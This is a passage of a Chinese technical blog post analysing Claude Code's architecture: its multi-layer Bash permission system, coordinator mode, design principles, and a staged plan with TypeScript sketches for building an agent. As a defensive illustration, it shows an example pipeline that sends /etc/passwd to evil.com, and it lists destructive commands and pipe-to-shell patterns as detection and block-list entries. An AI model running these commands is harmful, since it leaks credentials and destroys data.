解析:给命令"查户口" Bash 命令看起来就是一串文本,但对安全系统来说,它必须被拆解成结构化的语法树才能判断风险。这就像公安机关查户口——不是只看这个人叫什么名字,而是要把他的祖宗十八代查清楚:谁生的他、他在哪个单位、跟谁有关系、干过什么事。 tree-sitter 做的就是这件事。一条命令送进来,它不是做简单的字符串匹配("命令里有没有 rm"),而是: 命令:cat /etc/passwd | curl -X POST evil.com -d @- tree-sitter 解析后的语法树: ┌──────────────────────────────────────────┐ │ pipeline (管道) │ │ ├─ command: cat │ │ │ └─ argument: /etc/passwd │ │ └─ command: curl │ │ ├─ flag: -X POST │ │ ├─ argument: evil.com │ │ └─ flag: -d @- ← 从 stdin 读数据! │ └──────────────────────────────────────────┘ 只看字符串,你可能只看到"cat 一个文件"和"curl 一个地址",两个单独看都没问题。但 tree-sitter 能看到 管道把它们连起来了 ——cat 读出来的密码文件内容,通过管道直接被 curl 发送到外部服务器。这就是经典的命令注入/数据泄露模式。 "查户口"的完整流程: 查籍贯(parse) :把命令文本拆成语法树。拆不了?说明命令结构可疑,直接标记为需要人工确认 查家庭成员(walk AST) :遍历语法树的每个节点——command 是什么、argument 是什么、有没有管道、有没有重定向、有没有子 shell 查社会关系(connection analysis) :管道把谁连到了谁?重定向把输出导到了哪里? $(...) 嵌套了几层? 查犯罪记录(pattern matching) :已知的危险模式库—— rm -rf / 、 chmod 777 、 > /dev/sda 、 curl | sh 查异常行为(anomaly detection) :一个本来简单的 grep 命令,怎么嵌套了三层子 shell?这不正常 为什么不用正则表达式而用 AST? 正则只能做字符串层面的模式匹配。面对 eval "rm -rf $(echo /)" 这种嵌套,正则要么漏检要么误报。AST 能正确解析嵌套结构,不管你包了几层 eval、多少个引号、多少个转义字符,拆出来的语法树是准确的。 6 层纵深防御:每层都有独立判断力 上面列了 6 层,但它们不是简单的"全过了才放行"。每层都有独立的决策权: 层 名称 做什么 决策权 类比 0 AST 解析 拆语法树,检测结构异常 解析失败 → 拒绝 海关验护照——护照都看不懂,直接不让进 1 精确匹配 用户配置的黑白名单 命中 → 直接决定 黑名单上的人——不管别的,就是不让进 2 前缀匹配 git commit:* → allow 命中 → 直接决定 VIP 通道——认识这张脸,直接放行 3 语义分析 检测管道注入、重定向、危险参数 发现异常 → 拒绝或 ask 安检扫描——包里有可疑物品,开包检查 4 路径约束 只允许工作目录内操作 越界 → 拒绝 围栏——你只能在这个区域活动 5 ML 分类器 综合判断风险等级 confidence 高 → 决定,低 → ask 经验丰富的安检员——说不清就叫主管 设计要点: 任何一层拒绝,整条命令就死了 。不是"6 层都过了才执行",而是"任何一层说不行就不行"。这就是纵深防御的精髓——攻击者必须突破所有层,而不是只需要绕过一层 Fail-safe 默认值是"拒绝" 。解析失败?拒绝。分类器不确定?ask(不直接放行)。规则没覆盖?默认 ask。宁可多问一次用户,也不能默认放行 层与层之间是独立的 。AST 解析不依赖规则库,规则不依赖分类器。即使分类器被对抗样本骗了,AST 层和规则层仍然能挡住已知攻击模式 层层递进,逐步放行 。Layer 0 保证命令结构合法,Layer 1-2 处理明确的白名单,Layer 3-4 分析语义和路径,Layer 5 兜底判断。从粗到细,从快到慢 权限模式(PermissionMode): default :标准权限,高风险操作需要确认 planMode :只读模式,不允许任何修改操作 bypassPermissions :跳过所有权限检查(仅特殊场景) autoMode :自动模式,根据分类器自动决定 每种工具都有自己的权限类型标注: isReadOnly :只读工具(Grep、Glob、FileRead)默认允许 isDestructive :危险工具(FileWrite、Bash 中的 rm)需要额外确认 isConcurrencySafe :并行安全工具可以批量执行 评价 好在哪: 6 层防线,纵深防御 。不是靠单一检查,而是 AST 解析→规则匹配→语义分析→路径约束→分类器→沙箱,层层递进 规则系统灵活 。支持精确匹配、前缀匹配、通配符,用户可以细粒度配置 tree-sitter 做 AST 解析 。比正则表达式可靠得多,能正确处理嵌套引号、管道、重定向 分类器+规则的混合决策 。规则覆盖不了的用分类器兜底,分类器不确定的 ask 差在哪: 规则系统复杂度爆炸 。精确匹配、前缀、通配符、env var 过滤、wrapper 剥离——组合起来调试非常痛苦 分类器是黑盒 。用户不知道为什么某个命令被 allow 或 deny,缺乏可解释性 沙箱不是默认开启 。默认在宿主机上执行,沙箱是可选的——大多数用户可能根本没开 对我们的启发 安全必须纵深防御 。单点检查一定会被绕过,多层防线是唯一可靠的方案 规则系统要简单 。Claude Code 的规则系统太复杂了——精确匹配+前缀+通配符+env var+wrapper,建议简化为"命令前缀白名单 + 危险命令黑名单" 分类器是必要的补充 。规则覆盖不了所有场景,ML 分类器可以兜底。但要给用户看分类器的判断理由 沙箱应该默认开启 。在容器里跑命令的成本远小于在宿主机上跑 rm -rf 的风险 架构图 ┌──────────────────────────────────────────────────────┐ │ Permission System Layers │ │ │ │ Bash 命令提交 │ │ │ │ │ ┌────▼────────────────────────────────────────┐ │ │ │ Layer 0: AST 解析 (tree-sitter) │ │ │ │ 检测命令注入、复杂结构、解析失败 │ │ │ └────┬────────────────────────────────────────┘ │ │ │ │ │ ┌────▼────────────────────────────────────────┐ │ │ │ Layer 1: 精确匹配规则 │ │ │ │ deny / allow / ask 黑白名单 │ │ │ └────┬────────────────────────────────────────┘ │ │ │ │ │ ┌────▼────────────────────────────────────────┐ │ │ │ Layer 2: 前缀 + 通配符 │ │ │ │ Bash(git commit:*) → allow │ │ │ └────┬────────────────────────────────────────┘ │ │ │ │ │ ┌────▼────────────────────────────────────────┐ │ │ │ Layer 3: 语义分析 │ │ │ │ 管道注入、重定向、危险参数检测 │ │ │ └────┬────────────────────────────────────────┘ │ │ │ │ │ ┌────▼────────────────────────────────────────┐ │ │ │ Layer 4: 路径约束 │ │ │ │ 工作目录内操作,禁止敏感路径 │ │ │ └────┬────────────────────────────────────────┘ │ │ │ │ │ ┌────▼────────────────────────────────────────┐ │ │ │ Layer 5: ML 分类器 │ │ │ │ 自动判断风险等级 (confidence-based) │ │ │ └────┬────────────────────────────────────────┘ │ │ │ │ │ ┌────▼────────────────────────────────────────┐ │ │ │ Layer 6: 沙箱执行 │ │ │ │ 容器隔离,限制风险 │ │ │ └─────────────────────────────────────────────┘ │ │ │ │ 结果:allow → 直接执行 | ask → 弹窗确认 | deny → 拒绝 │ └──────────────────────────────────────────────────────┘ 8. Coordinator:多 Agent 的调度中心 这解决什么问题 当你同时有 5 个子 Agent 在跑——一个在查 bug、一个在改代码、一个在跑测试、一个在查文档、一个在写报告——你需要一个"项目经理"来协调它们。谁先谁后、谁等谁的结果、失败了怎么办、结果怎么汇总? Coordinator 就是这个项目经理:它自己不干活,只调度工人。 Claude Code 怎么做的 Coordinator 是一个专门的系统提示词模式,通过环境变量 CLAUDE_CODE_COORDINATOR_MODE 开启。核心在 coordinatorMode.ts : // coordinatorMode.ts — Coordinator 的核心调度逻辑 // 协调者能用的工具只有三个:派工人、继续工人、停止工人 const COORDINATOR_TOOLS = ['AgentTool', 'SendMessageTool', 'TaskStopTool']; // Continue vs. Spawn 决策:根据上下文重叠度判断 function shouldContinueWorker( task: TaskDescription, existingWorkers: Worker[] ): 'continue' | 'spawn' { const bestMatch = findBestWorker(task, existingWorkers); if (!bestMatch) return 'spawn'; // 没有合适的工人 const overlap = computeContextOverlap(task, bestMatch.context); if (overlap > 0.7) return 'continue'; // 高重叠 → 继续 return 'spawn'; // 低重叠 → 派新的 } // 工人完成后,协调者汇总结果 async function handleWorkerComplete(notification: TaskNotification) { // notification 格式: XML const { taskId, status, summary, result, usage } = parseNotification(notification); if (status === 'completed') { // 汇总到主结果池,准备下一轮调度 resultPool.merge(taskId, result); logUsage(usage); } else { // 失败 → 决定重试、换方法、还是告诉用户 await handleFailure(taskId, result); } } 最有价值的设计是 Continue vs. Spawn 决策: 研究探索的文件和要改的文件一样 → Continue(继续同一个工人) 研究很广但实现很窄 → Spawn fresh(派新工人,避免噪声) 修正失败或扩展最近工作 → Continue(工人有错误上下文) 验证别人写的代码 → Spawn fresh(新鲜视角) 第一版用了完全错的方法 → Spawn fresh(清空重来) 完全无关的任务 → Spawn fresh 工人通知机制用 XML 格式: agent-a1b completed Agent "Investigate auth bug" completed Found null pointer in src/auth/validate.ts:42... N N N 评价 好在哪: 调度逻辑全在提示词里 。没有硬编码的工作流引擎,靠 LLM 理解和执行调度规则。这很"Agent"——用 AI 管理 AI Continue vs. Spawn 决策框架非常实用 。这个二维判断(上下文重叠度高不高)比任何硬编码规则都灵活 "汇总是协调者最重要的工作" 。这条规则防止了"工人直接向工人汇报"的死循环——所有信息流经协调者 并行是默认 。"Workers are async. Launch independent workers concurrently."——把并行写进系统提示词,而不是靠代码实现 差在哪: 纯提示词调度有上限 。复杂的工作流依赖(DAG)用提示词表达很脆弱,LLM 可能理解错依赖关系 没有超时和资源管理 。提示词里没提到工人超时、token 预算、并发数量限制 Scratchpad 机制太简单 。工人间共享信息靠文件系统,没有结构化的消息队列 对我们的启发 协调者不干活,只调度 。这个角色分离是关键——协调者的 token 应该花在分析和调度上,不是花在执行上 Continue vs. Spawn 是核心决策 。上下文重叠度是判断标准——重叠高就继续,低就新建。这个框架可以复用 通知机制要标准化 。XML 格式的 task-notification 比自由文本可靠,便于解析和处理 并行要写进系统提示词 。不要只在代码里支持并行,要让 LLM 理解"并行是默认策略" 架构图 ┌──────────────────────────────────────────────────────┐ │ Coordinator Mode │ │ │ │ ┌─────────────────────────────────────────────┐ │ │ │ Coordinator (协调者 - LLM) │ │ │ │ 角色:调度、汇总、与用户沟通 │ │ │ │ 工具:AgentTool / SendMessage / TaskStop │ │ │ └──────────┬──────────────────┬───────────────┘ │ │ │ │ │ │ Continue? Spawn? │ │ (上下文重叠高) (上下文重叠低) │ │ │ │ │ │ ┌────────▼───┐ ┌──────▼──────┐ │ │ │ SendMessage │ │ AgentTool │ │ │ │ (继续工人) │ │ (派新工人) │ │ │ └────────┬───┘ └──────┬──────┘ │ │ │ │ │ │ ┌────────┴──────────────────┴───────────────┐ │ │ │ Workers (工人 - 异步执行) │ │ │ │ ┌────────┐ ┌────────┐ ┌────────┐ │ │ │ │ │Research│ │Implement│ │Verify │ │ │ │ │ │ 调研 │ │ 实现 │ │ 验证 │ │ │ │ │ └────────┘ └────────┘ └────────┘ │ │ │ │ │ │ │ │ 通知格式: XML │ │ │ └───────────────────────────────────────────┘ │ │ │ │ 工作流:Research(并行) → Synthesis → Implement → Verify│ └──────────────────────────────────────────────────────┘ 9. 设计范式总结 读完 Claude Code 源码,我提炼出 10 条 Agent 产品设计原则。 原则 1:循环极简,复杂度外推 Agent Loop 本身应该是一个最简单的 while 循环。真正的复杂度在工具、提示词和调度策略里,不在循环结构上。越简单的循环越不容易出 bug。 Claude Code 对应: query.ts 里的主循环只有三步——调 LLM、收工具调用、执行工具。所有业务逻辑都在工具实现和系统提示词里,循环本身不包含任何领域知识。 对其他产品的启发: 这跟 Unix 管道的哲学一样——核心调度器保持简单,复杂性下沉到可组合的工具。如果你发现自己的 Agent Loop 超过 100 行,大概率是在循环里塞了不该塞的东西。任何 Agent 框架都应该把 loop 当作"无脑转发器"来写。 Checklist: Agent Loop 是否不超过 50 行核心代码? 是否所有状态都存在 messages 队列里? 循环是否无状态(每轮从 messages 读、往 messages 写)? 循环里有没有硬编码的业务逻辑? 循环能否在不改代码的情况下接入新工具? 原则 2:工具是 Agent 的手,提示词是 Agent 的脑 工具决定了 Agent 能做什么,提示词决定了 Agent 什么时候做、怎么做。花在写工具提示词上的时间,应该不少于花在写工具代码上的时间。 Claude Code 对应: 每个工具( BashTool 、 FileEditTool 等)都有详细的 description 和 whenToUse 字段。系统提示词里对每个工具的使用场景、限制条件、安全规则都做了长篇幅的说明。工具注册时必须同时提供 JSON Schema 和描述文本。 对其他产品的启发: 大多数 Agent 框架犯的错误是"写了个工具函数就完事了"。实际上工具描述才是产品的核心资产。ChatGPT 的 Plugin / Function Calling 生态之所以做起来了,就是因为工具描述遵循了统一的 schema 规范。你的工具描述质量,直接决定 Agent 的智商上限。 Checklist: 每个工具是否有清晰的 whenToUse 描述? 工具提示词是否包含安全规则和最佳实践? 危险操作是否在提示词里明确标注? 工具描述是否经过实际场景验证? 新工具是否经过"LLM 能不能正确理解"的测试? 原则 3:元信息是调度的前提 每个工具必须标注 isReadOnly 、 isConcurrencySafe 、 isDestructive 。这些元信息直接决定了调度策略,不需要在调度层硬编码。 Claude Code 对应: Tool.ts 接口要求每个工具实现这三个布尔属性。 toolOrchestration.ts 根据这些标注自动分区: isReadOnly && isConcurrencySafe 的工具并行执行,其他的串行。新增工具不需要改调度逻辑。 对其他产品的启发: 这其实是声明式编程的经典思路——你描述"是什么"而不是"怎么做"。Kubernetes 的 Pod label、React 的 key prop、数据库的索引 hint,本质上都是这个模式。Agent 系统里,工具元信息就是调度器的索引——没有它,调度层只能硬编码。 Checklist: 每个工具是否都有这三个标注? 标注是否准确(特别是并行安全性)? 新增工具时是否有 lint 规则检查这些标注? 标注是否影响了实际的调度行为? 是否有测试验证标注的正确性? 原则 4:纵深防御,不要单点信任 权限系统必须多层。靠单一检查(比如"命令前缀匹配")一定会被绕过。AST 解析 + 规则匹配 + 分类器 + 沙箱,层层递进。 Claude Code 对应: bashPermissions.ts 实现了 6 层防御:AST 解析(tree-sitter)→ 精确匹配规则 → 前缀/通配符匹配 → 语义分析(注入检测)→ 路径约束 → ML 分类器 + 沙箱。任何一层拒绝,命令就不会执行。AST 解析失败时,默认行为是拒绝。 对其他产品的启发: 安全领域有一句话——"攻击者总会找到你没想到的路径"。所以不要指望一层防御挡住所有攻击。类比 Web 安全的纵深防御(WAF + CSP + CORS + 输入校验 + 输出编码),Agent 的权限系统也应该多层。特别注意:fail-safe 默认值必须是"拒绝",不能是"允许"。 Checklist: 安全检查是否有至少 3 层? 是否有 fail-safe(解析失败时默认拒绝)? 危险操作是否有日志和审计? 每层防御是否有独立的绕过测试? 是否有定期的红队测试? 原则 5:上下文是消耗品,不是资产 上下文窗口会用完。多级降级(compact → reactive → collapse)是刚需。token 追踪是基础设施,不是优化项。 Claude Code 对应: 上下文管理模块实现了三级降级: autoCompact (自动压缩历史对话)→ reactiveCompact (响应式压缩,按需触发)→ contextCollapse (上下文坍缩,只保留最关键信息)。每级都有 token 预算追踪,分为任务级和轮级两层。 对其他产品的启发: 很多团队把上下文管理当作"优化项",觉得先不管也能用。这是错的。上下文窗口一旦满了,Agent 就会"失忆",之前做的所有工作都白费。上下文管理应该在产品设计阶段就考虑,而不是等到出了问题再补。就像内存管理——你不会等到 OOM 才想 GC 的事。 Checklist: 是否有 token 实时追踪? 是否有多级压缩/降级策略? 压缩边界是否有标记便于审计? 是否有任务级和轮级两级预算? 压缩后信息丢失是否有补偿机制? 原则 6:子 Agent 就是完整的 Agent 不要搞"轻量版"和"完整版"两套。子 Agent 复用主 Agent 的核心循环,只是输入不同。维护两套代码的成本远大于"多传几个参数"的成本。 Claude Code 对应: runAgent() 函数直接调用 query() 函数——子 Agent 和主 Agent 用的是同一套循环、同一套工具接口、同一套权限系统。区别只在输入参数:子 Agent 传入的是精简过的系统提示词和任务描述,而不是完整的对话历史。 对其他产品的启发: 这就是组合模式(Composite Pattern)在 Agent 架构里的应用。子 Agent 不是"阉割版",而是"同一类的另一个实例"。就像递归函数——base case 和 recursive case 用同一套逻辑。AutoGPT 早期犯的错误就是子 Agent 和主 Agent 用不同逻辑,导致行为不一致、难以调试。 Checklist: 子 Agent 是否复用主 Agent 的 query 函数? 子 Agent 是否有完整的工具集和权限系统? 是否有嵌套深度限制? 子 Agent 的系统提示词是否经过单独优化? 子 Agent 的输出格式是否标准化? 原则 7:并行是默认,串行是例外 读操作天然并行安全,写操作需要串行。按安全性分区,能并行的并行。流式返回让并行的收益体现在用户感知上。 Claude Code 对应: toolOrchestration.ts 在收到多个工具调用时,先按 isReadOnly 分区:读操作全部并行(用 Promise.all ),写操作按顺序执行。流式响应让并行的收益直接体现在用户感知上——用户不需要等所有工具执行完就能看到部分结果。 对其他产品的启发: 大多数 Agent 框架默认串行执行工具调用,这浪费了大量时间。并行执行的前提是工具元信息准确——你得知道哪些工具可以并行。这又回到了原则 3。流式返回也很关键:并行执行如果没有流式返回,用户感知上还是"等了很久然后一下全出来"。 Checklist: 工具调度是否自动分区(读/写)? 并行上限是否有合理配置? 流式返回是否启用? 并行工具之间是否有依赖检测? 并行失败时是否有降级到串行的机制? 原则 8:协调者不干活 调度和执行必须分离。协调者的 token 花在分析和调度上,不花在执行上。工人完成后汇报给协调者,协调者汇总后告诉用户。 Claude Code 对应: Coordinator 模式下,主 Agent(协调者)的系统提示词明确写了"你负责调度,不负责执行"。工人完成后通过标准化的 XML 通知格式汇报。协调者的工具集被限制——不能直接执行文件编辑,只能派工人。 对其他产品的启发: 类比工地上的工头——工头不搬砖,因为他要同时看全局:哪组人进度慢了、材料够不够、下一步先做哪个。如果工头自己也去砌墙,他就没人盯着调度了。Agent 协调者同理:token 就是注意力,花在执行细节上就没法做好调度。而且协调者和工人用同样的工具,会产生冲突(两个 Agent 同时编辑同一个文件就是灾难)。 Checklist: 协调者是否有明确的"不执行"规则? 工人通知是否标准化? Continue vs. Spawn 决策是否有框架? 协调者的工具集是否被限制? 是否有工人之间的冲突检测? 原则 9:记忆要自动整理,但要可审计 自动提取和整理是正道,但用户要能看到记忆、编辑记忆、删除记忆。记忆要有生命周期,过期自动降权。 Claude Code 对应: memdir/ 目录存储持久化记忆。 consolidationPrompt 在对话结束时自动从对话中提取关键信息。 findRelevantMemories 在新对话开始时根据语义相似度检索相关记忆。记忆文件是纯文本,用户可以直接查看和编辑。 对其他产品的启发: 记忆系统的最大风险是"幻觉记忆"——Agent 把错误信息记住了,然后在后续对话中当作事实引用。所以可审计比自动整理更重要。用户必须能看见 Agent 记住了什么,并且能删除错误的记忆。类比搜索引擎的索引——你能搜索到什么,取决于索引里有什么;你能信任什么,取决于你能审计索引。 Checklist: 记忆是否自动从对话中提取? 用户是否能看到和编辑记忆? 记忆是否有过期机制? 记忆提取是否有质量检查? 是否有记忆冲突检测? 原则 10:提示词是产品,不是代码注释 工具提示词就是产品文档。它决定 LLM 的行为质量。写提示词要用产品思维——考虑用户(LLM)的理解成本、决策路径、错误恢复。 Claude Code 对应: Claude Code 的系统提示词经过大量迭代,每个工具的描述都包含:角色定位、使用条件、输入约束、输出格式、安全规则、常见错误、错误恢复策略。这不是"代码注释",而是精心设计的产品文档。 Checklist: 提示词是否有明确的结构(角色→规则→示例→边界)? 是否包含错误处理指引? 是否经过实际场景测试? 提示词是否区分了"什么时候用"和"怎么用"? 是否有针对常见误用的纠偏说明? 原则 11:工具的 description 是给 LLM 看的产品手册 大多数 Agent 框架把工具 description 当成 API 文档来写——一行话说明这个工具干什么。但 LLM 不是程序员,它不会去猜你没写的意思。工具 description 应该是产品手册:场景 → 决策树 → 示例 → 红线。 Claude Code 对应: BashTool 的 description 不只是"执行 bash 命令",而是一整套使用指南——什么时候该用 bash 而不是其他工具、git 操作的 5 步 SOP、绝对不能做的事情(NEVER force push)、并行执行的提示。FileEditTool 的 description 会根据当前编辑模式变化(insert/replace/delete),动态适配 LLM 的决策需求。 对其他产品的启发: 你给一个新员工写操作手册,不会只写"用 Excel 做表"。你会写"数据量小于 1000 行用 Excel,大于 1000 行用 Python,导出格式选 CSV,千万别选 XLS(兼容性差)"。LLM 就是那个新员工,工具 description 就是操作手册。写得越详细、决策路径越短,Agent 执行质量越高。反过来,description 写得模糊,Agent 就会频繁犯低级错误——不是因为模型不行,是因为你没教它。 Checklist: 工具 description 是否回答了"什么时候用"而不只是"干什么"? 是否包含具体的使用示例? 是否有明确的红线(NEVER / 不要 / 禁止)? description 是否区分了"怎么用"和"什么时候不该用"? 高风险工具的 description 是否包含 SOP 流程? 原则 12:上下文窗口是 Agent 的工作台,不是仓库 把 context window 想象成物理的工作台——面积有限,你只能在上面放正在用的东西。用完的文件要收进抽屉(持久化记忆),不重要的草稿要扔掉(compact),新的任务要用新空间。 Claude Code 对应: Claude Code 的多级降级(compact → reactive → context collapse)本质上是在管理工作台空间。Prompt caching 的前缀复用是"把常用的工具固定放在桌角"——不挪位置就能快速拿到。Compact 是"把桌上堆了三天的旧文件收起来,写个标签"。Context collapse 是"桌子彻底满了,只好把所有东西都扫到地上,只留正在用的那一件"。 对其他产品的启发: 上下文里无关信息越多,LLM 的注意力越分散,决策质量反而下降("Lost in the Middle"效应)。正确的思路是"最小上下文原则"——只给 Agent 当前任务必需的信息。 Checklist: 每轮对话的 token 消耗是否有实时追踪? 是否遵循"最小上下文"原则(不往 context 里塞无关信息)? 系统提示词是否放在最前面且尽量稳定(最大化 prompt cache 命中)? 工具描述是否按需加载(defer / search),而不是全量塞入? Compact 后是否保留了最近几轮的原始对话(保护 prompt cache)? 10. 如果我来做 Agent 产品 基于以上分析,如果从零开始做一个 Agent 产品,我会按 6 周拆开,每周有明确的交付物和验收标准。 第一步:最小可行 Agent Loop(第一周) 目标: 能跑通"用户输入 → LLM 思考 → 工具执行 → 返回结果"的基本循环。不需要好看,能跑就行。 目录结构: agent/ ├── loop.ts ← 核心 Agent Loop,不超过 50 行 ├── types.ts ← Message、ToolCall、ToolResult 类型定义 ├── tools/ │ ├── index.ts ← 工具注册表 │ ├── bash.ts ← 执行 shell 命令 │ ├── file_read.ts ← 读文件 │ ├── file_write.ts ← 写文件 │ ├── web_search.ts ← 搜索(先用现成 API) │ └── todo.ts ← 待办管理 ├── llm.ts ← LLM 调用封装(支持流式) └── index.ts ← 入口,CLI / HTTP 都行 核心代码结构: // loop.ts —— 这就是整个 Agent Loop async function* agentLoop(messages: Message[], tools: Tool[]): AsyncGenerator { while (true) { // 1. 调 LLM(流式) const response = await streamLLM(messages, tools); // 2. 收集工具调用 const toolCalls = collectToolCalls(response); if (toolCalls.length === 0) { // LLM 决定不再调工具,对话结束 yield { type: 'done', content: response.text }; return; } // 3. 执行工具(先全部串行,后面再优化) for (const call of toolCalls) { const tool = tools.find(t => t.name === call.name); const result = await tool.execute(call.args); messages.push({ role: 'tool', tool_call_id: call.id, content: JSON.stringify(result) }); yield { type: 'tool_result', call, result }; } } } 工具接口定义: // types.ts interface Tool { name: string; description: string; // 给 LLM 看的描述 parameters: JSONSchema; // 参数 schema isReadOnly: boolean; // 后面会用到 isConcurrencySafe: boolean; // 后面会用到 isDestructive: boolean; // 后面会用到 execute(args: Record): Promise; } 验收标准: 命令行输入一句话,能返回 LLM 的回复 LLM 能调用至少 3 个工具 工具调用结果能正确返回给 LLM 支持流式输出 能处理工具执行异常(不崩) 第二步:工具系统(第二周) 目标: 让工具系统真正可用——描述准确、参数校验、错误恢复。 核心改造: // tools/base.ts —— 抽象基类 abstract class BaseTool implements Tool { abstract name: string; abstract description: string; abstract parameters: JSONSchema; // 元信息标注——后面调度会用 abstract isReadOnly: boolean; abstract isConcurrencySafe: boolean; abstract isDestructive: boolean; // 参数校验——在 execute 之前做 validate(args: Record): ValidationResult { return validateSchema(this.parameters, args); } // 执行——子类实现 abstract execute(args: Record): Promise; // 描述生成——自动从 metadata 生成给 LLM 的描述 getDescription(): string { return ` ${this.description} 参数: ${formatSchema(this.parameters)} 元信息: - 只读:${this.isReadOnly} - 并行安全:${this.isConcurrencySafe} - 破坏性操作:${this.isDestructive} ${this.isDestructive ? '⚠️ 这是破坏性操作,执行前请确认。' : ''} `.trim(); } } 工具注册改为声明式: // tools/index.ts const TOOL_REGISTRY: Map = new Map(); function registerTool(tool: Tool): void { // lint 检查:必须有三个元信息标注 if (tool.isReadOnly === undefined || tool.isConcurrencySafe === undefined || tool.isDestructive === undefined) { throw new Error(`Tool ${tool.name} missing metadata annotations`); } TOOL_REGISTRY.set(tool.name, tool); } // 注册 registerTool(new BashTool()); registerTool(new FileReadTool()); registerTool(new FileWriteTool()); registerTool(new WebSearchTool()); registerTool(new TodoTool()); // 自动生成给 LLM 的工具列表 function getToolDescriptions(): string[] { return Array.from(TOOL_REGISTRY.values()).map(t => t.getDescription()); } 验收标准: 所有工具有完整的 JSON Schema 定义 所有工具有三个元信息标注 参数校验在执行前完成 工具描述包含使用场景和安全规则 新增工具必须通过 lint 检查 第三步:权限系统(第三周) 目标: 命令执行有安全网。三层防御起步。 目录结构: agent/ ├── permissions/ │ ├── index.ts ← 权限检查入口 │ ├── rules.ts ← 黑白名单规则 │ ├── pattern.ts ← 前缀/通配符匹配 │ ├── sandbox.ts ← 沙箱执行 │ └── types.ts ← PermissionResult 类型 核心代码: // permissions/index.ts interface PermissionResult { allowed: boolean; reason: string; layer: string; // 哪一层拒绝的 } async function checkPermission(command: string): Promise { // 第一层:规则匹配(黑白名单) const ruleResult = checkRules(command); if (!ruleResult.allowed) return { ...ruleResult, layer: 'rules' }; // 第二层:模式匹配(危险命令前缀) const patternResult = checkPatterns(command); if (!patternResult.allowed) return { ...patternResult, layer: 'pattern' }; // 第三层:沙箱检测(命令是否涉及敏感路径) const sandboxResult = checkSandbox(command); if (!sandboxResult.allowed) return { ...sandboxResult, layer: 'sandbox' }; // 全部通过 return { allowed: true, reason: 'All checks passed', layer: 'all' }; } // BashTool 中集成 class BashTool extends BaseTool { async execute(args: { command: string }): Promise { const permission = await checkPermission(args.command); if (!permission.allowed) { // 拒绝 + 告知 LLM 哪一层拒绝的 return { success: false, error: `Permission denied by ${permission.layer}: ${permission.reason}`, suggestion: 'Try a different approach or ask the user for permission.' }; } // 通过则执行 return await execCommand(args.command); } } 规则配置(用户可编辑): # permissions/rules.yaml rules: deny: - pattern: "rm -rf /" - pattern: "curl * | bash" - pattern: "sudo *" allow: - pattern: "ls *" - pattern: "cat *" - pattern: "git status" ask: - pattern: "git push *" - pattern: "npm install *" - pattern: "docker *" 验收标准: 危险命令被拦截,LLM 收到明确的错误信息 用户可通过配置文件自定义规则 每层拒绝都有日志记录 默认行为是拒绝(deny by default) 解析失败时拒绝(fail-safe) 第四步:上下文管理(第四周) 目标: 对话不会因为太长而崩溃。三层防御。 目录结构: agent/ ├── context/ │ ├── tracker.ts ← token 实时追踪 │ ├── compact.ts ← 自动压缩 │ ├── budget.ts ← token 预算管理 │ └── types.ts ← ContextState 类型 核心代码: // context/tracker.ts class TokenTracker { private used: number = 0; private budget: number; constructor(budget: number) { this.budget = budget; } track(messages: Message[]): void { this.used = messages.reduce((sum, m) => sum + estimateTokens(m), 0); } getUsagePercent(): number { return (this.used / this.budget) * 100; } // 三级告警 getStatus(): 'ok' | 'warning' | 'critical' | 'collapse' { const pct = this.getUsagePercent(); if (pct < 60) return 'ok'; if (pct < 75) return 'warning'; if (pct < 90) return 'critical'; return 'collapse'; } } // context/compact.ts async function autoCompact(messages: Message[], tracker: TokenTracker): Promise { const status = tracker.getStatus(); switch (status) { case 'ok': return messages; // 不需要压缩 case 'warning': // 轻度压缩:合并相邻的同角色消息 return mergeConsecutive(messages); case 'critical': // 中度压缩:用 LLM 总结历史对话 return await llmCompact(messages, { preserveLastN: 10 }); case 'collapse': // 重度压缩:只保留系统提示词 + 最近 5 条 + 关键事实 return await contextCollapse(messages, { keepLastN: 5 }); } } 在 Agent Loop 中集成: // loop.ts(修改版) async function* agentLoop(messages: Message[], tools: Tool[]) { const tracker = new TokenTracker(MAX_TOKENS); while (true) { // 每轮开始前检查上下文 tracker.track(messages); messages = await autoCompact(messages, tracker); // 原有逻辑... const response = await streamLLM(messages, tools); // ... } } 验收标准: 60% / 75% / 90% 三级告警正常工作 压缩后 LLM 行为没有明显退化 压缩边界有标记(方便调试和审计) 用户可以查看当前 token 使用情况 压缩过程中不会丢失正在执行的任务 第五步:子 Agent 编排(第五周) 目标: 能派工人,并行执行,结果汇总。 目录结构: agent/ ├── agents/ │ ├── runner.ts ← 子 Agent 启动器 │ ├── coordinator.ts ← 协调者逻辑 │ ├── pool.ts ← 工人池管理 │ └── types.ts ← AgentTask / AgentResult 类型 核心代码: // agents/runner.ts // 关键:子 Agent 复用主 Agent 的 query 函数 async function runSubAgent(task: AgentTask): Promise { const subMessages: Message[] = [ { role: 'system', content: SUB_AGENT_SYSTEM_PROMPT }, { role: 'user', content: task.description } ]; // 复用主循环!只是输入不同 const result = await collectAll(agentLoop(subMessages, getTools())); return { taskId: task.id, result }; } // agents/coordinator.ts class Coordinator { private pool: WorkerPool; async handleRequest(userMessage: string): Promise { // 1. 分析任务,决定是自己做还是派工人 const plan = await this.analyzeTask(userMessage); if (plan.shouldDelegate) { // 2. 派工人(并行) const tasks = plan.subtasks.map(t => ({ id: generateId(), description: t.description })); const results = await Promise.all( tasks.map(task => runSubAgent(task)) ); // 3. 汇总结果 return await this.summarize(results); } else { // 简单任务,自己做 return await this.executeDirectly(userMessage); } } } 通知协议(工人 → 协调者): task-001 success 找到了 3 个相关文件并完成了分析
1523
验收标准: 协调者能把复杂任务拆成子任务派给工人 工人之间能并行执行 工人结果能正确汇总给用户 协调者本身不执行工具(只调度) 有嵌套深度限制(防止无限递归) 第六步:产品打磨(第六周) 目标: 把前五步串成真正能用的产品。这一周不做新功能,只做胶水和打磨。 优先级排序(按投入产出比): P0 — 必须有(前 3 天): 1. 记忆系统 ├── 对话结束时调 LLM 提取 3-5 条关键事实 ├── 存为 memdir/{project}/{date}.md(纯文本,用户可读) ├── 新对话开始时语义检索 top-3 相关注入系统提示词 └── /memory 命令让用户查看/编辑/删除 // memory/index.ts — 记忆系统核心(~30 行) class MemorySystem { constructor(private memdir: string) {} // 对话结束时自动调用 async consolidate(messages: Message[]): Promise { const extraction = await llmComplete([ { role: 'system', content: `从以下对话中提取 3-5 条值得长期记住的事实。 格式:每条一行,以 "- " 开头。只记事实,不记过程。` }, { role: 'user', content: messagesToText(messages) } ]); const facts = extraction.split('\n').filter(l => l.startsWith('- ')); await fs.appendFile(this.todayPath(), '\n' + facts.join('\n')); } // 新对话开始时调用 async recall(query: string): Promise { const allFiles = await 